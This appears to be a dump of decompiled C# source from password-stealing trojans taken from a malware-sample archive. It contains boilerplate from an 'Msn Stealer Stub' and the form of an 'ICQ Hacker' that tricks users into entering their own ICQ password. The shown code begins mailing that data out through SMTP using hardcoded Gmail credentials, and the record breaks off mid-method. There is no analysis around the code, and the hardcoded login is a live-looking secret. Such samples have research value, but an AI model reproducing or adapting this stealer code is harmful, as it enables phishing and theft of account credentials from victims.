internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,74 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MySettings
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
MySettings defaultInstance = MySettings.defaultInstance;
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,31 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MySettingsProperty
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
get
|
||||
{
|
||||
MySettings settings = MySettings.Default;
|
||||
return settings;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.Resources.Resources
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Msn_Stealer_Stub.My.Resources
|
||||
{
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Msn_Stealer_Stub.My.Resources.Resources.resourceMan, (object) null))
|
||||
Msn_Stealer_Stub.My.Resources.Resources.resourceMan = new ResourceManager("Msn_Stealer_Stub.Resources", typeof (Msn_Stealer_Stub.My.Resources.Resources).Assembly);
|
||||
return Msn_Stealer_Stub.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Msn_Stealer_Stub.My.Resources.Resources.resourceCulture;
|
||||
set => Msn_Stealer_Stub.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] msn => (byte[]) RuntimeHelpers.GetObjectValue(Msn_Stealer_Stub.My.Resources.Resources.ResourceManager.GetObject(nameof (msn), Msn_Stealer_Stub.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,53 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Msn Stealer Stub</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Msn_Stealer_Stub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Msn Stealer Stub", "Trojan-PSW.MSIL.FakeMSN.e-a787d18bf4429da8a6a27504a58e9797680eb58b3af28f8c4d8fcc5cc4c4b9f2.csproj", "{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6F454D69-17DD-475A-8D7E-1B7284EC0ADF}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTitle("WindowsApplication6")]
|
||||
[assembly: AssemblyProduct("WindowsApplication6")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2011")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("d08c9239-3f7e-43cc-8af3-433ecf0644f8")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
@ -1,375 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.Form1
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication6
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button _Button1;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button _Button2;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label _Label2;
|
||||
[AccessedThroughProperty("email")]
|
||||
private TextBox _email;
|
||||
[AccessedThroughProperty("password")]
|
||||
private TextBox _password;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox _TextBox2;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private Label _Label3;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private Label _Label4;
|
||||
[AccessedThroughProperty("Label5")]
|
||||
private Label _Label5;
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
Form1.__ENCAddToList((object) this);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (Form1.__ENCList)
|
||||
{
|
||||
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (Form1.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (Form1.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
Form1.__ENCList[index1] = Form1.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
|
||||
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
|
||||
}
|
||||
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.Button1 = new Button();
|
||||
this.Button2 = new Button();
|
||||
this.Label1 = new Label();
|
||||
this.Label2 = new Label();
|
||||
this.email = new TextBox();
|
||||
this.password = new TextBox();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.TextBox2 = new TextBox();
|
||||
this.Label3 = new Label();
|
||||
this.Label4 = new Label();
|
||||
this.Label5 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.Button1.ForeColor = Color.FromArgb(0, 192, 0);
|
||||
Button button1_1 = this.Button1;
|
||||
Point point1 = new Point(16, 12);
|
||||
Point point2 = point1;
|
||||
button1_1.Location = point2;
|
||||
this.Button1.Name = "Button1";
|
||||
Button button1_2 = this.Button1;
|
||||
Size size1 = new Size(75, 23);
|
||||
Size size2 = size1;
|
||||
button1_2.Size = size2;
|
||||
this.Button1.TabIndex = 0;
|
||||
this.Button1.Text = "Пуск!";
|
||||
this.Button1.UseVisualStyleBackColor = true;
|
||||
this.Button2.ForeColor = Color.Red;
|
||||
Button button2_1 = this.Button2;
|
||||
point1 = new Point(144, 12);
|
||||
Point point3 = point1;
|
||||
button2_1.Location = point3;
|
||||
this.Button2.Name = "Button2";
|
||||
Button button2_2 = this.Button2;
|
||||
size1 = new Size(75, 23);
|
||||
Size size3 = size1;
|
||||
button2_2.Size = size3;
|
||||
this.Button2.TabIndex = 1;
|
||||
this.Button2.Text = "Готово";
|
||||
this.Button2.UseVisualStyleBackColor = true;
|
||||
this.Label1.AutoSize = true;
|
||||
Label label1_1 = this.Label1;
|
||||
point1 = new Point(13, 56);
|
||||
Point point4 = point1;
|
||||
label1_1.Location = point4;
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1_2 = this.Label1;
|
||||
size1 = new Size(87, 13);
|
||||
Size size4 = size1;
|
||||
label1_2.Size = size4;
|
||||
this.Label1.TabIndex = 2;
|
||||
this.Label1.Text = "Ваш номер ICQ:";
|
||||
this.Label2.AutoSize = true;
|
||||
Label label2_1 = this.Label2;
|
||||
point1 = new Point(141, 56);
|
||||
Point point5 = point1;
|
||||
label2_1.Location = point5;
|
||||
this.Label2.Name = "Label2";
|
||||
Label label2_2 = this.Label2;
|
||||
size1 = new Size(105, 13);
|
||||
Size size5 = size1;
|
||||
label2_2.Size = size5;
|
||||
this.Label2.TabIndex = 3;
|
||||
this.Label2.Text = "Ваш пароль от ICQ:";
|
||||
TextBox email1 = this.email;
|
||||
point1 = new Point(16, 72);
|
||||
Point point6 = point1;
|
||||
email1.Location = point6;
|
||||
this.email.Name = "email";
|
||||
TextBox email2 = this.email;
|
||||
size1 = new Size(100, 20);
|
||||
Size size6 = size1;
|
||||
email2.Size = size6;
|
||||
this.email.TabIndex = 4;
|
||||
TextBox password1 = this.password;
|
||||
point1 = new Point(144, 72);
|
||||
Point point7 = point1;
|
||||
password1.Location = point7;
|
||||
this.password.Name = "password";
|
||||
TextBox password2 = this.password;
|
||||
size1 = new Size(100, 20);
|
||||
Size size7 = size1;
|
||||
password2.Size = size7;
|
||||
this.password.TabIndex = 5;
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
point1 = new Point(16, 121);
|
||||
Point point8 = point1;
|
||||
textBox1_1.Location = point8;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
size1 = new Size(100, 20);
|
||||
Size size8 = size1;
|
||||
textBox1_2.Size = size8;
|
||||
this.TextBox1.TabIndex = 6;
|
||||
TextBox textBox2_1 = this.TextBox2;
|
||||
point1 = new Point(144, 121);
|
||||
Point point9 = point1;
|
||||
textBox2_1.Location = point9;
|
||||
this.TextBox2.Name = "TextBox2";
|
||||
TextBox textBox2_2 = this.TextBox2;
|
||||
size1 = new Size(100, 20);
|
||||
Size size9 = size1;
|
||||
textBox2_2.Size = size9;
|
||||
this.TextBox2.TabIndex = 7;
|
||||
this.Label3.AutoSize = true;
|
||||
Label label3_1 = this.Label3;
|
||||
point1 = new Point(13, 105);
|
||||
Point point10 = point1;
|
||||
label3_1.Location = point10;
|
||||
this.Label3.Name = "Label3";
|
||||
Label label3_2 = this.Label3;
|
||||
size1 = new Size(106, 13);
|
||||
Size size10 = size1;
|
||||
label3_2.Size = size10;
|
||||
this.Label3.TabIndex = 8;
|
||||
this.Label3.Text = "Номер для взлома:";
|
||||
this.Label4.AutoSize = true;
|
||||
Label label4_1 = this.Label4;
|
||||
point1 = new Point(144, 105);
|
||||
Point point11 = point1;
|
||||
label4_1.Location = point11;
|
||||
this.Label4.Name = "Label4";
|
||||
Label label4_2 = this.Label4;
|
||||
size1 = new Size(90, 13);
|
||||
Size size11 = size1;
|
||||
label4_2.Size = size11;
|
||||
this.Label4.TabIndex = 9;
|
||||
this.Label4.Text = "Будущий пароль";
|
||||
this.Label5.AutoSize = true;
|
||||
this.Label5.Font = new Font("Arial Narrow", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 204);
|
||||
Label label5_1 = this.Label5;
|
||||
point1 = new Point(18, 154);
|
||||
Point point12 = point1;
|
||||
label5_1.Location = point12;
|
||||
this.Label5.Name = "Label5";
|
||||
Label label5_2 = this.Label5;
|
||||
size1 = new Size(216, 15);
|
||||
Size size12 = size1;
|
||||
label5_2.Size = size12;
|
||||
this.Label5.TabIndex = 10;
|
||||
this.Label5.Text = "ВСЕ ПОЛЯ ОБЯЗАТЕЛЬНЫ К ЗАПОЛНЕНИЮ";
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(257, 182);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.Label5);
|
||||
this.Controls.Add((Control) this.Label4);
|
||||
this.Controls.Add((Control) this.Label3);
|
||||
this.Controls.Add((Control) this.TextBox2);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.Controls.Add((Control) this.password);
|
||||
this.Controls.Add((Control) this.email);
|
||||
this.Controls.Add((Control) this.Label2);
|
||||
this.Controls.Add((Control) this.Label1);
|
||||
this.Controls.Add((Control) this.Button2);
|
||||
this.Controls.Add((Control) this.Button1);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = "ICQ Hacker";
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||||
if (this._Button1 != null)
|
||||
this._Button1.Click -= eventHandler;
|
||||
this._Button1 = value;
|
||||
if (this._Button1 == null)
|
||||
return;
|
||||
this._Button1.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Button2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Button2_Click);
|
||||
if (this._Button2 != null)
|
||||
this._Button2.Click -= eventHandler;
|
||||
this._Button2 = value;
|
||||
if (this._Button2 == null)
|
||||
return;
|
||||
this._Button2.Click += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox email
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._email;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._email = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox password
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._password;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._password = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label4
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label4;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label5
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label5;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value;
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
SmtpClient smtpClient = new SmtpClient();
|
||||
MailMessage mailMessage = new MailMessage();
|
||||
smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("enzog21@gmail.com", "spawnsky");
|
||||
smtpClient.Port = 587;
